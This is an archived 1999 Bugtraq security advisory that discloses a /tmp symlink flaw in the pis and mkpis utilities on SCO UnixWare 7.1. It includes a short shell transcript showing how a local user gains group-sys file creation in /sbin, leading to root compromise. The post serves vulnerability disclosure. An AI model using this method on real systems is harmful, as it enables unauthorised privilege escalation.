Bugtraq mailing list archives
Re: UnixWare local pis exploit (mkpis as well)
From: btellier () USA NET (Brock Tellier)
Date: Wed, 29 Dec 1999 10:58:26 CST
As a bonus, /usr/local/bin/mkpis is vulnerable to the same /tmp symlink problem. It has the same permissions as pis. -Brock --- Brock Tellier <btellier () USA NET> wrote: Greetings, OVERVIEW A vulnerability in "/usr/local/bin/pis" on SCO UnixWare will allow any user to create arbitrary files with group "sys" privileges. A full root compromise is then trivial. BACKGROUND As usual, I've only tested UnixWare 7.1. DETAILS By creating a symlink between /tmp/pisdata and any sys-owned file we can overwrite that file with ps output. If we point the symlink at a non-existant file in a directory which we can write to (such as, say, /sbin/ls), pis will create this file mode 666 owned by us, group of sys. This is a fairly simple compromise. /sbin is writable by group sys. We can create files in /sbin owned by us. And root's default $PATH starts with /sbin. EXPLOIT bash-2.02$ ls -dal /sbin drwxrwxr-x 2 root sys 3072 Dec 28 08:18 /sbin bash-2.02$ ln -s /sbin/xnec /tmp/pisdata bash-2.02$ pis <program output> bash-2.02$ ls -la /sbin/xnec -rw-rw-rw- 1 xnec sys 5896 Dec 28 08:28 /sbin/xnec bash-2.02$ Brock Tellier UNIX Systems Administrator Chicago, IL, USA btellier () usa net ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1
Current thread:
- Re: UnixWare local pis exploit (mkpis as well) Brock Tellier (Dec 29)